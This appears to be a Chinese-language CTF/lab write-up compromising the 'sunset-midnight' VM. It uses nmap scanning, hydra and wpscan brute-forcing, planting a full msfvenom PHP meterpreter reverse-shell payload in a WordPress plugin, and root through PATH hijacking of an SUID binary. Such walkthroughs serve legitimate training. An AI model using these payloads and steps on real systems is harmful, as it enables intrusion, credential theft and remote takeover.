主机发现端口扫描

  1. 探测存活主机,8是靶机

    nmap -sP 192.168.56.0/24                              
    Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-12-05 16:49 CST
    Nmap scan report for 192.168.56.1
    Host is up (0.00044s latency).
    MAC Address: 0A:00:27:00:00:14 (Unknown)
    Nmap scan report for 192.168.56.2
    Host is up (0.00028s latency).

    MAC Address: 08:00:27:A6:DF:28 (Oracle VirtualBox virtual NIC)
    Nmap scan report for 192.168.56.10
    
  2. 扫描靶机所有开放端口

    nmap -sT -min-rate 10000 -p- 192.168.56.8   
    Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-12-05 16:50 CST

    3306/tcp open  mysql
    MAC Address: 08:00:27:A6:DF:28 (Oracle VirtualBox virtual NIC)
    
  3. 扫描服务版本及系统版本

    nmap -sV -sT -O -p 22,80,3306 192.168.56.8

  4. 扫描漏洞

    nmap -script=vuln -p 22,80,3306 192.168.56.8

    靶机CMS是wordpress ,确定版本后可以查询公开漏洞进行利用

    并且扫出mysql可能存在cve2012-2122

web渗透

  1. 知道CMS是wordpress,就用wpscan来扫一下

  2. 网上没找到什么漏洞可以利用的

    但是没有利用成功

暴力破解

  1. 没有思路了,可以尝试下暴力破解,wordpress我们枚举出了admin用户,mysql我们尝试破解root用户,同时进行破解

  2. 暴力破解wordpress

    wpscan --url http://sunset-midnight/ -U admin --passwords /usr/share/wordlists/rockyou.txt
    
  3. 暴力破解mysql

    hydra -l root -P /usr/share/wordlists/rockyou.txt 192.168.56.8 mysql
    
  4. 很快就爆破出了mysql的密码

    hydra -l root -P /usr/share/wordlists/rockyou.txt 192.168.56.8 mysql

    密码是robert

数据库寻找敏感信息

  1. 利用Navicat登录mysql ,寻找WP的用户表

    在这里插入图片描述

    发现密码,不过是加密的

  2. 通过hash-identifier 识别

    hash-identifier     ##########################################################################     __  __                     __           ______    _____           #  #    /\ \/\ \                   /\ \         /\__  _\  /\  _ `\         ##    \ \ \_\ \     __      ____ \ \ \___     \/_/\ \/  \ \ \/\ \        ##     \ \  _  \  /'__`\   / ,__\ \ \  _ `\      \ \ \   \ \ \ \ \       ##      \ \ \ \ \/\ \_\ \_/\__, `\ \ \ \ \ \      \_\ \__ \ \ \_\ \      ##       \ \_\ \_\ \___ \_\/\____/  \ \_\ \_\     /\_____\ \ \____/      ##        \/_/\/_/\/__/\/_/\/___/    \/_/\/_/     \/_____/  \/___/  v1.2 ##                                                             By Zion3R ##                                                    www.Blackploit.com ##                                                   Root@Blackploit.com ##########################################################################

  3. 尝试破解没破解出来

  4. 创建了一个MD5替换上去即可

    下边是123456MD5值,将其替换上去

    e10adc3949ba59abbe56e057f20f883e
    

    在这里插入图片描述

  5. 尝试登陆WP后台

后台getshell

  1. 尝试登录WP后台,密码是上边替换上去的123456

    在这里插入图片描述

  2. PluginsPlugin Editor 的右上角的Select plugin to edit 选择Simply Poll 然后select

    在这里插入图片描述

  3. 然后选择simply-poll.php 进行修改,写入phpinfo进行测试

    在这里插入图片描述

  4. 路径为 /wp-content/plugins/simply-poll-master/simply-poll.php ,访问

    在这里插入图片描述

    测试成功

  5. 直接上线MSF (.10kali IP)

    msf6 > use exploit/multi/handler
    msf6 exploit(multi/handler) > set payload php/meterpreter/reverse_tcp
    msf6 exploit(multi/handler) > set lhost 192.168.56.10
    msf6 exploit(multi/handler) > set lport 1234
    msf6 exploit(multi/handler) > run
    

    然后再msfvenom生成payload ,然后将代码写入到上边的simply-poll.php

    msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.56.10 lport=1234 -f raw            
    [-] No platform was selected, choosing Msf::Module::Platform::PHP from the payload
    [-] No arch selected, selecting arch: php from the payload
    No encoder specified, outputting raw payload
    Payload size: 1114 bytes/*<?php /**/ error_reporting(0); $ip = '192.168.56.10'; $port = 1234; if (($f = 'stream_socket_client') && is_callable($f)) { $s = $f("tcp://{$ip}:{$port}"); $s_type = 'stream'; } if (!$s && ($f = 'fsockopen') && is_callable($f)) { $s = $f($ip, $port); $s_type = 'stream'; } if (!$s && ($f = 'socket_create') && is_callable($f)) { $s = $f(AF_INET, SOCK_STREAM, SOL_TCP); $res = @socket_connect($s, $ip, $port); if (!$res) { die(); } $s_type = 'socket'; } if (!$s_type) { die('no socket funcs'); } if (!$s) { die('no socket'); } switch ($s_type) { case 'stream': $len = fread($s, 4); break; case 'socket': $len = socket_read($s, 4); break; } if (!$len) { die(); } $a = unpack("Nlen", $len); $len = $a['len']; $b = ''; while (strlen($b) < $len) { switch ($s_type) { case 'stream': $b .= fread($s, $len-strlen($b)); break; case 'socket': $b .= socket_read($s, $len-strlen($b)); break; } } $GLOBALS['msgsock'] = $s; $GLOBALS['msgsock_type'] = $s_type; if (extension_loaded('suhosin') && ini_get('suhosin.executor.disable_eval')) { $suhosin_bypass=create_function('', $b); $suhosin_bypass(); } else { eval($b); } die();
    

    在这里插入图片描述

  6. 然后再次访问/wp-content/plugins/simply-poll-master/simply-poll.php MSF获取到shell

    msf6 exploit(multi/handler) > run[*] Started reverse TCP handler on 192.168.56.10:1234 
    [*] Sending stage (39927 bytes) to 192.168.56.8

提权

  1. 查看权限

    meterpreter > sysinfo
    Computer    : midnight
    OS          : Linux midnight 4.19.0-9-amd64 #1 SMP Debian 4.19.118-2+deb10u1 (2020-06-07) x86_64
    Meterpreter : php/linuxmeterpreter > getuid
    Server username: www-data$ ip add
    ip add

  2. 寻找敏感文件

    • /var/www/html/wp-config.php 发现jose账号密码(加密)

      /** MySQL database username */                                                                                                                               
      define( 'DB_USER', 'jose' );                                                                                                                                 /** MySQL database password */                                                                                                                               
      define( 'DB_PASSWORD', '645dc5a8871d2a4269d4cbe23f6ae103' ); 
      
  3. 尝试破解

    看起来是MD5,使用开膛手以及在线网站破解,无果

  4. 最后尝试直接使用这串字符串登录

    ssh jose@192.168.56.8  
    jose@192.168.56.8's password: 
    Linux midnight 4.19.0-9-amd64 #1 SMP Debian 4.19.118-2+deb10u1 (2020-06-07) x86_64The programs included with the Debian GNU/Linux system are free software;

    jose@midnight:~$ 
    

    登陆成功。。。神经

  5. 寻找敏感文件

    • 家目录下user.txt

      jose@midnight:~$ cat user.txt 
      956a9564aa5632edca7b745c696f6575
      

      应该是flag

    • suid

      jose@midnight:~$ find / -perm -u=s -type f 2>/dev/null
      /usr/bin/su
      /usr/bin/sudo
      /usr/bin/status
      /usr/bin/chfn
      /usr/bin/passwd
      /usr/bin/chsh
      /usr/bin/umount
      /usr/bin/newgrp
      /usr/bin/mount
      /usr/bin/gpasswd
      /usr/lib/eject/dmcrypt-get-device
      /usr/lib/dbus-1.0/dbus-daemon-launch-helper
      /usr/lib/openssh/ssh-keysign
      
  6. suid发现/usr/bin/status 尝试执行

    jose@midnight:/tmp$ status
    sh: 1: service: not found
    Status of the SSH server:
    

    去寻找了service,但是没找到

  7. 思路:在新建service然后里边是提权代码,让status去找它(通过环境变量)

    • 新建service文件

      jose@midnight:/tmp$ echo "/bin/bash" > service
      jose@midnight:/tmp$ chmod 777 service 
      
    • 修改环境变量,将/tmp目录放在前头(看目录进行修改)

      jose@midnight:/tmp$ export PATH=/tmp:$PATH
      jose@midnight:/tmp$ echo $PATH
      /tmp:/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games
      
    • 运行status

      jose@midnight:/tmp$ /usr/bin/status
      root@midnight:/tmp# 
      

      获得root!!!

  8. 读取flag

    root@midnight:~# cd /root
    root@midnight:/root# ls
    root.txt  status  status.c
    root@midnight:/root# cat root.txt ___   ____/' --;^/ ,-_\     \ | // / --o\ o-\ \\   --(_)--/-/-/|o|-|\-\\|\\   / | \'`  ` |-|   `` '|-||-|O|-(\,__...|-|\--,\_....,;;;;;;;;;;;;;;;;;;;;;;;;,.
